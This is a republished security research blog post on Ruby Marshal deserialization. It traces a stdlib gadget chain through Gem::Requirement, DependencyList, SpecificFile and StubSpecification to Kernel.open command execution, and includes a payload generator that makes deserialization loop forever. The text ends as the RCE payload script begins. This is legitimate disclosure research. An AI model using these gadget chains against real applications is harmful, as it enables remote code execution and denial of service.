RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN

( Original text by Luke Jahnke )

INTRODUCTION

This blog post details exploitation of arbitrary deserialization for the Ruby programming language and releases the first public universal gadget chain to achieve arbitrary command execution for Ruby 2.x. This will be described in the following sections which detail deserialization issues and related work, discovery of usable gadget chains, and finally exploitation of ruby serialization.

BACKGROUND

Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or be stored on the filesystem or in a database. These bytes include all the relevant information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has it’s own distinct serialization format. Some programming languages refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used.

The Marshal class has the class methods “dump” and “load” which can be used as follows:

Figure-1: Usage of Marshal.dump and Marshal.load

<span class="err">$</span> <span class="n">irb</span>
<span class="o">&gt;&gt;</span> <span class="k">class</span> <span class="nc">Person</span>
<span class="o">&gt;&gt;</span>   <span class="nb">attr_accessor</span> <span class="ss">:name</span>
<span class="o">&gt;&gt;</span> <span class="k">end</span>
<span class="o">=&gt;</span> <span class="kp">nil</span>

<span class="o">&gt;&gt;</span> <span class="nb">p</span> <span class="o">=</span> <span class="no">Person</span><span class="p">.</span><span class="nf">new</span>
<span class="o">=&gt;</span> <span class="c1">#&lt;Person:0x00005584ba9af490&gt;</span>

<span class="o">&gt;&gt;</span> <span class="nb">p</span><span class="p">.</span><span class="nf">name</span> <span class="o">=</span> <span class="s2">"Luke Jahnke"</span>
<span class="o">=&gt;</span> <span class="s2">"Luke Jahnke"</span>

<span class="o">&gt;&gt;</span> <span class="nb">p</span>
<span class="o">=&gt;</span> <span class="c1">#&lt;Person:0x00005584ba9af490 @name="Luke Jahnke"&gt;</span>

<span class="o">&gt;&gt;</span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="nb">p</span><span class="p">)</span>
<span class="o">=&gt;</span> <span class="s2">"</span><span class="se">\x04\b</span><span class="s2">o:</span><span class="se">\v</span><span class="s2">Person</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\n</span><span class="s2">@nameI</span><span class="se">"\x10</span><span class="s2">Luke Jahnke</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\x06</span><span class="s2">ET"</span>

<span class="o">&gt;&gt;</span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="s2">"</span><span class="se">\x04\b</span><span class="s2">o:</span><span class="se">\v</span><span class="s2">Person</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\n</span><span class="s2">@nameI</span><span class="se">"\x10</span><span class="s2">Luke Jahnke</span><span class="se">\x06</span><span class="s2">:</span><span class="se">\x06</span><span class="s2">ET"</span><span class="p">)</span>
<span class="o">=&gt;</span> <span class="c1">#&lt;Person:0x00005584ba995dd8 @name="Luke Jahnke"&gt;</span>

THE PROBLEMS WITH DESERIALIZATION OF UNTRUSTED DATA

A common security vulnerability occurs when a developer incorrectly assumes that an attacker cannot view or tamper with a serialized object as it is an opaque binary format. This can result in any sensitive information stored within the object, such as credentials or application secrets, being disclosed to an attacker. It also frequently results in privilege escalation in the case of the serialized object having instance variables which are subsequently used for permission checks. For example, consider a 

User

 object, containing a 

username

 instance variable, that is serialized and may be tampered with by an attacker. It is trivial to modify the serialized data and change the username variable to a username of a higher privileged user, such as “admin”. While these attacks can be powerful, they are highly context sensitive as well as being unexciting from a technical point-of-view and are not discussed further in this blog post.

Code reuse attacks are also possible where pieces of already available code, called gadgets, are executed to perform an unwanted action such as executing an arbitrary system command. As deserialization can set instance variables to arbitrary values, this allows an attacker to control some of the data that gadgets operate on. This also allows an attacker to use a gadget to invoke a second gadget, as methods are frequently called on objects stored in instance variables. When a series of gadgets have been linked together in this manner, it is called a gadget chain.

PREVIOUS PAYLOADS

Insecure deserialization is in the eighth spot in the OWASP Top 10 Most Critical Web Application Security Risks for 2017 but limited details have been published on constructing gadget chains for Ruby. However, a good reference can be found in the Phrack paper Attacking Ruby on Rails Applications, where joernchen of Phenoelit describes in section 2.1 a gadget chain discovered by Charlie Somerville that achieves arbitrary code execution. The technique will not be covered again here for brevity, however the pre-requisites are as follows:

  1. The ActiveSupport gem must be installed and loaded.
  2. ERB from the standard library must be loaded (which Ruby does not load by default).
  3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

So, the gauntlet has been thrown down. Can we remove all of these pre-requisites and still achieve arbitrary code execution?

HUNTING FOR GADGETS

Since we want to craft a gadget chain that has no dependencies, gadgets can only be sourced from the standard library. It should be noted that not all of the standard library is loaded by default. This significantly limits the number of gadgets we have at our disposal. For example, Ruby 2.5.3 was tested and found to have 358 classes loaded by default. While this seems high, on closer inspection it is revealed that 196 of these classes have not defined any of their own instance methods. The majority of these empty classes are uniquely named descendants of the 

Exception

 class used to differentiate catchable exceptions.

The limited number of available classes means it is incredibly beneficial to find gadgets or techniques that increase the amount of standard library that is loaded. One technique is to look for gadgets that when invoked will 

require

 another library. This is useful as even though the 

require

 may appear to be in the scope of a certain module and/or class, it will in fact pollute the global namespace.

Figure-2: An example of a method calling require (lib/rubygems.rb)

<span class="k">module</span> <span class="nn">Gem</span>
<span class="o">...</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">deflate</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="nb">require</span> <span class="s1">'zlib'</span>
    <span class="no">Zlib</span><span class="o">::</span><span class="no">Deflate</span><span class="p">.</span><span class="nf">deflate</span> <span class="n">data</span>
  <span class="k">end</span>
<span class="o">...</span>
<span class="k">end</span>

If the above 

Gem.deflate

 method was included in a gadget chain, the 

Zlib

 library from Ruby’s standard library would be loaded, as demonstrated below:

Figure-3: Demonstration of the global namespace being polluted

<span class="err">$</span> <span class="n">irb</span>
<span class="o">&gt;&gt;</span> <span class="no">Zlib</span>
<span class="no">NameError</span><span class="p">:</span> <span class="n">uninitialized</span> <span class="n">constant</span> <span class="no">Zlib</span>
<span class="o">...</span>

<span class="o">&gt;&gt;</span> <span class="no">Gem</span><span class="p">.</span><span class="nf">deflate</span><span class="p">(</span><span class="s2">""</span><span class="p">)</span>
<span class="o">=&gt;</span> <span class="s2">"x</span><span class="se">\x9C\x03\x00\x00\x00\x00\x01</span><span class="s2">"</span>

<span class="o">&gt;&gt;</span> <span class="no">Zlib</span>
<span class="o">=&gt;</span> <span class="no">Zlib</span>

While numerous examples exist of the standard library dynamically loading other parts of the standard library, one instance was identified that attempts to load a third-party library if it has been installed on the system, as shown below:

Figure-4: SortedSet from the standard library loading the third-party RBTree library (lib/set.rb)

<span class="o">...</span>
<span class="k">class</span> <span class="nc">SortedSet</span> <span class="o">&lt;</span> <span class="no">Set</span>
<span class="o">...</span>
  <span class="k">class</span> <span class="o">&lt;&lt;</span> <span class="nb">self</span>
<span class="o">...</span>
    <span class="k">def</span> <span class="nf">setup</span>
<span class="o">...</span>
          <span class="nb">require</span> <span class="s1">'rbtree'</span>

The following figure shows a sample of the extensive locations that will be searched when requiring a library that is not installed, including other library directories:

Figure-5: A sample of the output from strace when Ruby attempts to load RBTree on a default system without RBTree installed

<span class="gp">$</span> strace <span class="nt">-f</span> ruby <span class="nt">-e</span> <span class="s1">'require "set"; SortedSet.setup'</span> |&amp; <span class="nb">grep</span> <span class="nt">-i</span> rbtree | <span class="nb">nl</span>
<span class="go">     1 [pid    32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     2  [pid    32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     3  [pid    32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
</span><span class="c">...
</span><span class="go">   129  [pid    32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   130  [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   131  [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   132  [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   133  [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   134  [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   135  [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   136  [pid    32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
</span><span class="c">...</span>

A more useful gadget would be one which passes an attacker controlled argument to 

require

. This gadget would enable loading of arbitrary files on the filesystem, thus providing the use of any gadgets in the standard library, including the 

ERB

gadget used in Charlie Somerville’s gadget chain. Although no gadgets were identified that allow complete control of the 

require

 argument, an example of a gadget that allows partial control can be seen below:

Figure-6: A gadget allowing partial control of the require argument (ext/digest/lib/digest.rb)

<span class="k">module</span> <span class="nn">Digest</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">const_missing</span><span class="p">(</span><span class="nb">name</span><span class="p">)</span> <span class="c1"># :nodoc:</span>
    <span class="k">case</span> <span class="nb">name</span>
    <span class="k">when</span> <span class="ss">:SHA256</span><span class="p">,</span> <span class="ss">:SHA384</span><span class="p">,</span> <span class="ss">:SHA512</span>
      <span class="n">lib</span> <span class="o">=</span> <span class="s1">'digest/sha2.so'</span>
    <span class="k">else</span>
      <span class="n">lib</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="s1">'digest'</span><span class="p">,</span> <span class="nb">name</span><span class="p">.</span><span class="nf">to_s</span><span class="p">.</span><span class="nf">downcase</span><span class="p">)</span>
    <span class="k">end</span>

    <span class="k">begin</span>
      <span class="nb">require</span> <span class="n">lib</span>
<span class="o">...</span>

The above example was unable to be utilised as 

const_missing

 is never called explicitly by any Ruby code in the standard library. This is unsurprising as 

const_missing

 is a hook method that, when defined, will be invoked when a reference is made to an undefined constant. A gadget such as 

@object.__send__(@method, @argument)

, which allows calling an arbitrary method on an arbitrary object with an arbitrary argument, would evidently allow calling the above 

const_missing

 method. However, if we already had such a powerful gadget, we would no longer need to increase the set of available gadgets as it alone allows executing arbitrary system commands.

The 

const_missing

 method can also be invoked as a result of a calling 

const_get

. The 

digest

 method of the 

Gem::Package

class defined in the file 

lib/rubygems/package.rb

 is a suitable gadget as it calls 

const_get

 on the 

Digest

 module (although any context will also work) with control of the argument. However, the default implementation of 

const_get

 performs strict validation of the character set which prevents traversal outside the 

digest

 directory.

Another way of invoking 

const_missing

 is implicitly with code such as 

Digest::SOME_CONSTANT

. However, 

Marshal.load

 does not perform constant resolution in such a way that will invoke 

const_missing

. More details can be found in Ruby issue 3511 and 12731.

Another example gadget which also provides partial control of the argument passed to 

require

 is shown below:

Figure-7: Calling the [] method with an argument results in that argument being included in the argument to require(lib/rubygems/command_manager.rb)

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">CommandManager</span>
  <span class="k">def</span> <span class="nf">[]</span><span class="p">(</span><span class="n">command_name</span><span class="p">)</span>
    <span class="n">command_name</span> <span class="o">=</span> <span class="n">command_name</span><span class="p">.</span><span class="nf">intern</span>
    <span class="k">return</span> <span class="kp">nil</span> <span class="k">if</span> <span class="vi">@commands</span><span class="p">[</span><span class="n">command_name</span><span class="p">].</span><span class="nf">nil?</span>
    <span class="vi">@commands</span><span class="p">[</span><span class="n">command_name</span><span class="p">]</span> <span class="o">||=</span> <span class="n">load_and_instantiate</span><span class="p">(</span><span class="n">command_name</span><span class="p">)</span>
  <span class="k">end</span>

  <span class="kp">private</span>

  <span class="k">def</span> <span class="nf">load_and_instantiate</span><span class="p">(</span><span class="n">command_name</span><span class="p">)</span>
    <span class="n">command_name</span> <span class="o">=</span> <span class="n">command_name</span><span class="p">.</span><span class="nf">to_s</span>
<span class="o">...</span>
        <span class="nb">require</span> <span class="s2">"rubygems/commands/</span><span class="si">#{</span><span class="n">command_name</span><span class="si">}</span><span class="s2">_command"</span>
<span class="o">...</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="o">...</span>

The above example was also not utilised due to the “_command” suffix and no technique being identified that allowed truncation (i.e. using null bytes). A number of files do exist with the “_command” suffix but these were not explored further as a different technique was found to increase the set of available gadgets. However, an interested researcher may find it interesting to investigate when exploring this topic.

As shown below, the Rubygem library makes extensive use of the 

autoload

 method:

Figure-8: A number of calls to the autoload method (lib/rubygems.rb)

<span class="k">module</span> <span class="nn">Gem</span>
<span class="o">...</span>
  <span class="nb">autoload</span> <span class="ss">:BundlerVersionFinder</span><span class="p">,</span> <span class="s1">'rubygems/bundler_version_finder'</span>
  <span class="nb">autoload</span> <span class="ss">:ConfigFile</span><span class="p">,</span>         <span class="s1">'rubygems/config_file'</span>
  <span class="nb">autoload</span> <span class="ss">:Dependency</span><span class="p">,</span>         <span class="s1">'rubygems/dependency'</span>
  <span class="nb">autoload</span> <span class="ss">:DependencyList</span><span class="p">,</span>     <span class="s1">'rubygems/dependency_list'</span>
  <span class="nb">autoload</span> <span class="ss">:DependencyResolver</span><span class="p">,</span> <span class="s1">'rubygems/resolver'</span>
  <span class="nb">autoload</span> <span class="ss">:Installer</span><span class="p">,</span>          <span class="s1">'rubygems/installer'</span>
  <span class="nb">autoload</span> <span class="ss">:Licenses</span><span class="p">,</span>           <span class="s1">'rubygems/util/licenses'</span>
  <span class="nb">autoload</span> <span class="ss">:PathSupport</span><span class="p">,</span>        <span class="s1">'rubygems/path_support'</span>
  <span class="nb">autoload</span> <span class="ss">:Platform</span><span class="p">,</span>           <span class="s1">'rubygems/platform'</span>
  <span class="nb">autoload</span> <span class="ss">:RequestSet</span><span class="p">,</span>         <span class="s1">'rubygems/request_set'</span>
  <span class="nb">autoload</span> <span class="ss">:Requirement</span><span class="p">,</span>        <span class="s1">'rubygems/requirement'</span>
  <span class="nb">autoload</span> <span class="ss">:Resolver</span><span class="p">,</span>           <span class="s1">'rubygems/resolver'</span>
  <span class="nb">autoload</span> <span class="ss">:Source</span><span class="p">,</span>             <span class="s1">'rubygems/source'</span>
  <span class="nb">autoload</span> <span class="ss">:SourceList</span><span class="p">,</span>         <span class="s1">'rubygems/source_list'</span>
  <span class="nb">autoload</span> <span class="ss">:SpecFetcher</span><span class="p">,</span>        <span class="s1">'rubygems/spec_fetcher'</span>
  <span class="nb">autoload</span> <span class="ss">:Specification</span><span class="p">,</span>      <span class="s1">'rubygems/specification'</span>
  <span class="nb">autoload</span> <span class="ss">:Util</span><span class="p">,</span>               <span class="s1">'rubygems/util'</span>
  <span class="nb">autoload</span> <span class="ss">:Version</span><span class="p">,</span>            <span class="s1">'rubygems/version'</span>
<span class="o">...</span>
<span class="k">end</span>
autoload

 works in a similar way to 

require

, but only loads the specified file when a registered constant is accessed for the first time. Due to this behaviour, if any of these constants are included in a deserialization payload the corresponding file will be loaded. These files themselves also contain 

require

 and 

autoload

 statements further increasing the number of files that could provide useful gadgets.

Although 

autoload

 is not expected to remain in the future release of Ruby 3.0, the use in the standard library has recently increased with the release of Ruby 2.5. New code using 

autoload

 was introduced in this git commit and can be seen in the following code snippet:

Figure-9: New usage of autoload introduced in Ruby 2.5 (lib/uri/generic.rb)

<span class="nb">require</span> <span class="s1">'uri/common'</span>
<span class="nb">autoload</span> <span class="ss">:IPSocket</span><span class="p">,</span> <span class="s1">'socket'</span>
<span class="nb">autoload</span> <span class="ss">:IPAddr</span><span class="p">,</span> <span class="s1">'ipaddr'</span>

<span class="k">module</span> <span class="nn">URI</span>
<span class="o">...</span>

To assist in exploring this extended set of available gadgets in the standard library, we can load every file registered with 

autoload

 with the following code:

Figure-10: Bruteforcing constant resolution on every object with every symbol

<span class="no">ObjectSpace</span><span class="p">.</span><span class="nf">each_object</span> <span class="k">do</span> <span class="o">|</span><span class="n">clazz</span><span class="o">|</span>
  <span class="k">if</span> <span class="n">clazz</span><span class="p">.</span><span class="nf">respond_to?</span> <span class="ss">:const_get</span>
    <span class="no">Symbol</span><span class="p">.</span><span class="nf">all_symbols</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">sym</span><span class="o">|</span>
      <span class="k">begin</span>
        <span class="n">clazz</span><span class="p">.</span><span class="nf">const_get</span><span class="p">(</span><span class="n">sym</span><span class="p">)</span>
      <span class="k">rescue</span> <span class="no">NameError</span>
      <span class="k">rescue</span> <span class="no">LoadError</span>
      <span class="k">end</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>

After running the above code we take a new measurement of how many classes are available for providing gadgets, and find 959 classes loaded, an increase of 658 from the earlier value of 358. Of these classes, 511 have defined at least one instance method. The ability to load these additional classes provides significantly improved conditions to begin our search for useful gadgets.

INITIAL/KICK-OFF GADGETS

The start of every gadget chain needs a gadget that will be invoked automatically during or after deserialization. This is the initial entrypoint to execute further gadgets with the ultimate goal of achieving arbitrary code execution or other attacks.

An ideal initial gadget would be one that is automatically invoked by 

Marshal.load

 during deserialization. This removes any opportunity for code executed after deserialization to defensively inspect and protect against a malicious object. We suspect it may be possible to automatically invoke a gadget during deserialization as it is a feature in other programming languages such as PHP. In PHP, if a class has the magic method 

__wakeup

 defined it will be immediately invoked when deserializing an object of this type. Reading the relevant Ruby documentation reveals that if a class has an instance method 

marshal_load

 defined then this method will be invoked upon deserialization of an object of this class.

Using this information we examine every loaded class and check if they have a 

marshal_load

 instance method. This was achieved programatically with the following code:

Figure-11: Ruby script to find all classes with marshal_load defined

<span class="no">ObjectSpace</span><span class="p">.</span><span class="nf">each_object</span><span class="p">(</span><span class="o">::</span><span class="no">Class</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">obj</span><span class="o">|</span>
  <span class="n">all_methods</span> <span class="o">=</span> <span class="n">obj</span><span class="p">.</span><span class="nf">instance_methods</span> <span class="o">+</span> <span class="n">obj</span><span class="p">.</span><span class="nf">protected_instance_methods</span> <span class="o">+</span> <span class="n">obj</span><span class="p">.</span><span class="nf">private_instance_methods</span>

  <span class="k">if</span> <span class="n">all_methods</span><span class="p">.</span><span class="nf">include?</span> <span class="ss">:marshal_load</span>
    <span class="n">method_origin</span> <span class="o">=</span> <span class="n">obj</span><span class="p">.</span><span class="nf">instance_method</span><span class="p">(</span><span class="ss">:marshal_load</span><span class="p">).</span><span class="nf">inspect</span><span class="p">[</span><span class="sr">/\((.*)\)/</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span> <span class="o">||</span> <span class="n">obj</span><span class="p">.</span><span class="nf">to_s</span>

    <span class="nb">puts</span> <span class="n">obj</span>
    <span class="nb">puts</span> <span class="s2">"  marshal_load defined by </span><span class="si">#{</span><span class="n">method_origin</span><span class="si">}</span><span class="s2">"</span>
    <span class="nb">puts</span> <span class="s2">"  ancestors = </span><span class="si">#{</span><span class="n">obj</span><span class="p">.</span><span class="nf">ancestors</span><span class="si">}</span><span class="s2">"</span>
    <span class="nb">puts</span>
  <span class="k">end</span>
<span class="k">end</span>

SURPLUS GADGETS

There were numerous gadgets discovered during the research, however only a small selection was used in the final gadget chain. For brevity of this blog post, a few interesting ones are summarised below:

Figure-12: Combined with a gadget chain that calls the cache method, this gadget allows arbitrary code execution (lib/rubygems/source/git.rb)

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">Git</span> <span class="o">&lt;</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span>
<span class="o">...</span>
  <span class="k">def</span> <span class="nf">cache</span> <span class="c1"># :nodoc:</span>
<span class="o">...</span>
      <span class="nb">system</span> <span class="vi">@git</span><span class="p">,</span> <span class="s1">'clone'</span><span class="p">,</span> <span class="s1">'--quiet'</span><span class="p">,</span> <span class="s1">'--bare'</span><span class="p">,</span> <span class="s1">'--no-hardlinks'</span><span class="p">,</span>
             <span class="vi">@repository</span><span class="p">,</span> <span class="n">repo_cache_dir</span>
<span class="o">...</span>
  <span class="k">end</span>
<span class="o">...</span>
Figure-13: This gadget can be used to have to_s return something other than an expected String object (lib/rubygems/security/policy.rb)

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Security</span><span class="o">::</span><span class="no">Policy</span>
<span class="o">...</span>
  <span class="nb">attr_reader</span> <span class="ss">:name</span>
<span class="o">...</span>
  <span class="k">alias</span> <span class="nb">to_s</span> <span class="nb">name</span> <span class="c1"># :nodoc:</span>

<span class="k">end</span>
Figure-14: This gadget can be used to have to_i return something other than an expected Integer object (lib/ipaddr.rb)

<span class="k">class</span> <span class="nc">IPAddr</span>
<span class="o">...</span>
  <span class="k">def</span> <span class="nf">to_i</span>
    <span class="k">return</span> <span class="vi">@addr</span>
  <span class="k">end</span>
<span class="o">...</span>
Figure-15: This code generates a gadget chain that when deserialized enters an infinite loop

<span class="k">module</span> <span class="nn">Gem</span>
  <span class="k">class</span> <span class="nc">List</span>
    <span class="nb">attr_accessor</span> <span class="ss">:value</span><span class="p">,</span> <span class="ss">:tail</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="vg">$x</span> <span class="o">=</span> <span class="no">Gem</span><span class="o">::</span><span class="no">List</span><span class="p">.</span><span class="nf">new</span>
<span class="vg">$x</span><span class="p">.</span><span class="nf">value</span> <span class="o">=</span> <span class="ss">:@elttam</span>
<span class="vg">$x</span><span class="p">.</span><span class="nf">tail</span> <span class="o">=</span> <span class="vg">$x</span>

<span class="k">class</span> <span class="nc">SimpleDelegator</span>
  <span class="k">def</span> <span class="nf">marshal_dump</span>
    <span class="p">[</span>
      <span class="ss">:__v2__</span><span class="p">,</span>
      <span class="vg">$x</span><span class="p">,</span>
      <span class="p">[],</span>
      <span class="kp">nil</span>
    <span class="p">]</span>
  <span class="k">end</span>
<span class="k">end</span>

<span class="n">ace</span> <span class="o">=</span> <span class="no">SimpleDelegator</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="kp">nil</span><span class="p">)</span>

<span class="nb">puts</span> <span class="no">Marshal</span><span class="p">.</span><span class="nf">dump</span><span class="p">(</span><span class="n">ace</span><span class="p">).</span><span class="nf">inspect</span>

BUILDING THE GADGET CHAIN

The first step in creating the gadget chain is to build a pool of candidate 

marshal_load

 initial gadgets and ensure they call methods on objects we supply. This is very likely to contain every initial gadget as “everything is an object” in Ruby. We can reduce the pool by reviewing the implementations and keeping any that call a common method name on an object we control. Ideally the common method name should have many distinct implementations to choose from.

For my gadget chain I settled on the 

Gem::Requirement

 class whose implementation is shown below and grants the ability to call the 

each

 method on an arbitrary object:

Figure-16: Gem::Requirement partial source code (lib/rubygems/requirement.rb) — see inline comments

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Requirement</span>
  <span class="c1"># 1) we have complete control over array</span>
  <span class="k">def</span> <span class="nf">marshal_load</span><span class="p">(</span><span class="n">array</span><span class="p">)</span>
    <span class="c1"># 2) so we can set @requirements to an object of our choosing</span>
    <span class="vi">@requirements</span> <span class="o">=</span> <span class="n">array</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

    <span class="n">fix_syck_default_key_in_requirements</span>
  <span class="k">end</span>

  <span class="c1"># 3) this method is invoked by marshal_load</span>
  <span class="k">def</span> <span class="nf">fix_syck_default_key_in_requirements</span>
    <span class="no">Gem</span><span class="p">.</span><span class="nf">load_yaml</span>

    <span class="c1"># 4) we can call .each on any object</span>
    <span class="vi">@requirements</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">r</span><span class="o">|</span>
      <span class="k">if</span> <span class="n">r</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">kind_of?</span> <span class="no">Gem</span><span class="o">::</span><span class="no">SyckDefaultKey</span>
        <span class="n">r</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"="</span>
      <span class="k">end</span>
    <span class="k">end</span>
  <span class="k">end</span>

<span class="k">end</span>

Now with the ability to call the 

each

 method we require a useful implementation of 

each

 to get us closer to arbitrary command execution. After reviewing the source code for 

Gem::DependencyList

 (and the mixin 

Tsort

) it was found that a call to it’s 

each

instance method will result in the 

sort

 method being called on it’s 

@specs

 instance variable. The exact path taken to reach the 

sort

 method call is not included here, but the behavior can be verified with the following command which uses Ruby’s stdlib Tracer class to output a source level execution trace:

Figure-17: Verifying Gem::DependencyList#each results in @specs.sort

<span class="gp">$</span> ruby <span class="nt">-rtracer</span> <span class="nt">-e</span> <span class="s1">'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}'</span> |&amp; fgrep <span class="s1">'@specs.sort'</span>
<span class="gp">#</span>0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:     specs <span class="o">=</span> @specs.sort.reverse

With this new ability to call the 

sort

 method on an array of arbitrary objects, we leverage it to call the 

&lt;=&gt;

 method (spaceship operator) on an arbitrary object. This is useful as 

Gem::Source::SpecificFile

 has an implementation of the 

&lt;=&gt;

 method that when invoked can result in the 

name

 method being invoked on it’s 

@spec

 instance variable, as shown below:

Figure-18: Gem::Source::SpecificFile partial source code (lib/rubygems/source/specific_file.rb)

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span> <span class="o">&lt;</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span>
  <span class="k">def</span> <span class="nf">&lt;</span><span class="o">=&gt;</span> <span class="n">other</span>
    <span class="k">case</span> <span class="n">other</span>
    <span class="k">when</span> <span class="no">Gem</span><span class="o">::</span><span class="no">Source</span><span class="o">::</span><span class="no">SpecificFile</span> <span class="k">then</span>
      <span class="k">return</span> <span class="kp">nil</span> <span class="k">if</span> <span class="vi">@spec</span><span class="p">.</span><span class="nf">name</span> <span class="o">!=</span> <span class="n">other</span><span class="p">.</span><span class="nf">spec</span><span class="p">.</span><span class="nf">name</span> <span class="c1"># [1]</span>

      <span class="vi">@spec</span><span class="p">.</span><span class="nf">version</span> <span class="o">&lt;=&gt;</span> <span class="n">other</span><span class="p">.</span><span class="nf">spec</span><span class="p">.</span><span class="nf">version</span>
    <span class="k">else</span>
      <span class="k">super</span>
    <span class="k">end</span>
  <span class="k">end</span>

<span class="k">end</span>

The ability to call the 

name

 method on an arbitrary object is the final piece of the puzzle as 

Gem::StubSpecification

 has a 

name

method which calls its 

data

 method. The 

data

 method then calls the 

open

 method, which is actually 

Kernel.open

, with it’s instance variable 

@loaded_from

 as the first argument, as shown below:

Figure-19: Partial source code of Gem::BasicSpecification (lib/rubygems/basic_specification.rb) and Gem::StubSpecification(lib/rubygems/stub_specification.rb)

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">BasicSpecification</span>
  <span class="nb">attr_writer</span> <span class="ss">:base_dir</span> <span class="c1"># :nodoc:</span>
  <span class="nb">attr_writer</span> <span class="ss">:extension_dir</span> <span class="c1"># :nodoc:</span>
  <span class="nb">attr_writer</span> <span class="ss">:ignored</span> <span class="c1"># :nodoc:</span>
  <span class="nb">attr_accessor</span> <span class="ss">:loaded_from</span>
  <span class="nb">attr_writer</span> <span class="ss">:full_gem_path</span> <span class="c1"># :nodoc:</span>
<span class="o">...</span>
<span class="k">end</span>

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">StubSpecification</span> <span class="o">&lt;</span> <span class="no">Gem</span><span class="o">::</span><span class="no">BasicSpecification</span>

  <span class="k">def</span> <span class="nf">name</span>
    <span class="n">data</span><span class="p">.</span><span class="nf">name</span>
  <span class="k">end</span>

  <span class="kp">private</span> <span class="k">def</span> <span class="nf">data</span>
    <span class="k">unless</span> <span class="vi">@data</span>
      <span class="k">begin</span>
        <span class="n">saved_lineno</span> <span class="o">=</span> <span class="vg">$.</span>

        <span class="c1"># TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.</span>
        <span class="nb">open</span> <span class="n">loaded_from</span><span class="p">,</span> <span class="no">OPEN_MODE</span> <span class="k">do</span> <span class="o">|</span><span class="n">file</span><span class="o">|</span>
<span class="o">...</span>
Kernel.open

 can be used to execute arbitrary commands when the first character of the first argument is a pipe character (“|”) as outlined in the relevant documentation. It will be interesting to see if the TODO comment directly above the 

open

 is resolved soon.

GENERATING THE PAYLOAD

The following script was developed to generate and test the previously described gadget chain:

Figure-20: Script to generate and verify the deserialization gadget chain

<span class="c1">#!/usr/bin/env ruby</span>

<span class="k">class</span> <span class="nc">Gem</span><span class="o">::</span><span class="no">StubSpecification</span>
  <span class="k">def</span> <span class="nf">initialize</span><span class="p">;</span> <span class="k">end</span>
<span class="k">end</span>


